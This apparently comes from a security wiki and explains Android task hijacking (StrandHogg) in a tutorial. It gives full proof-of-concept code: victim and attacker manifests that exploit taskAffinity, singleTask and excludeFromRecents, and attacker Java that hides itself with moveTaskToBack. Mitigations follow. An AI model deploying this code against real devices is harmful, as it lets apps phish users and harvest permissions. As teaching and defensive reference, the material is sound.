Task Hijacking
What is Task Hijacking?
Task hijacking is a security vulnerability in Android that allows a malicious app to take over the identity of a legitimate app, facilitating phishing attacks. Instead of displaying the real app activity, a fake activity is shown, tricking users into revealing sensitive data.
This attack is similar to UI injection, as both involve fake activities imitating legitimate app screens. However, in task hijacking, the malicious activity replaces the original one within the same task, making detection difficult for the user.
Examples of Task Hijacking Attacks
Task affinity vulnerability aka StrangHogg attack. Applies for API Level < 30 (Android < 11).
Context.startActivities()
hijack aka StrandHogg 2.0 attack Applies for API Level < 29 (Android < 10).
Key Concepts: Tasks, Back Stack, and Launch Modes
Task Affinity
Task affinity is an attribute defined in the <activity>
tag of the AndroidManifest.xml
file. It determines which task an activity prefers to be associated with. By default, all activities in an app share the same affinity as their package name.
Example:
<activity android:taskAffinity=""/>
Launch Modes
Launch modes control how activities are launched and managed in a task. They are defined in AndroidManifest.xml
or as flags in intents. The four launch modes are:
standard
singleTop
singleTask
singleInstance
For task hijacking, the singleTask mode is most relevant. It ensures that an activity is always the root of its task but allows other activities (with standard
or singleTop
modes) to join the task.
Proof of Concept (PoC)
Full Source-Code: https://github.com/az0mb13/Task_Hijacking_Strandhogg/tree/main
Creating a Vulnerable Victim App
To demonstrate the attack, letβs create a vulnerable app (e.g., Super Secure App). Below is its AndroidManifest.xml
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.zombie.ssa">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:logo="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.SuperSecureApp">
<activity android:name=".LoggedIn"></activity>
<activity android:name=".MainActivity" android:launchMode="singleTask">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
The line android:launchMode="singleTask"
introduces the vulnerability.
Creating the Attackerβs App
Now, letβs create an attacker app that exploits this vulnerability. Below is its AndroidManifest.xml
:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:tools="http://schemas.android.com/tools"
package="com.zombie.attackerapp"
tools:ignore="ExtraText">
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.AttackerApp"
android:taskAffinity="com.zombie.ssa">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
The attacker app:
Uses
android:taskAffinity="com.zombie.ssa"
to associate itself with the victimβs app task.Hides from the recent apps list with
android:excludeFromRecents="true"
.
Attacker's Code (MainActivity.java)
package com.zombie.attackerapp;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import android.Manifest;
import android.content.Intent;
import android.content.pm.PackageManager;
import android.os.Build;
import android.os.Bundle;
import android.view.View;
import android.widget.EditText;
import android.widget.TextView;
import com.google.android.material.snackbar.Snackbar;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override
public void onResume(){
super.onResume();
setContentView(R.layout.activity_main);
}
}
The function moveTaskToBack(true)
pushes the activity to the background, making it seem invisible to the user.
How the Attack Works
The victim app (Super Secure App) opens normally.
The attacker app runs in the background and minimizes itself to avoid detection.
When the victim app is reopened, the attackerβs app takes over the task, deceiving the user.
This method can be used for phishing or permission harvesting attacks, making it appear as if the victim app is requesting permissions while actually granting them to the attacker.
Exploiting moveTaskToBack()
and excludeFromRecents
moveTaskToBack()
and excludeFromRecents
The moveTaskToBack()
function minimizes the attacker app, keeping it hidden while it remains active. The excludeFromRecents
attribute prevents the attacker app from appearing in the recent apps list, making detection even harder.
Example attacker app manifest:
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="com.tmh.attacker">
<application
android:allowBackup="true"
android:icon="@mipmap/ic_launcher"
android:label="@string/app_name"
android:roundIcon="@mipmap/ic_launcher_round"
android:supportsRtl="true"
android:theme="@style/Theme.Attacker"
android:taskAffinity="com.tmh.victim">
<activity android:name=".MainActivity" android:launchMode="singleTask" android:excludeFromRecents="true">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
</manifest>
package com.tmh.attacker;
import androidx.appcompat.app.AppCompatActivity;
import android.content.Intent;
import android.os.Bundle;
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
moveTaskToBack(true);
}
@Override
public void onResume(){
super.onResume();
setContentView(R.layout.activity_main);
}
}
Defense Against Task Hijacking
To mitigate this vulnerability, developers should:
Set
taskAffinity
to an empty string:<activity android:taskAffinity=""/>
Use
singleInstance
launch mode if an activity should not share tasks.Override
onBackPressed()
to prevent unexpected task switching.

Resources
More details
And for/from developers:
Video:
Disclosed Reports
Last updated
Was this helpful?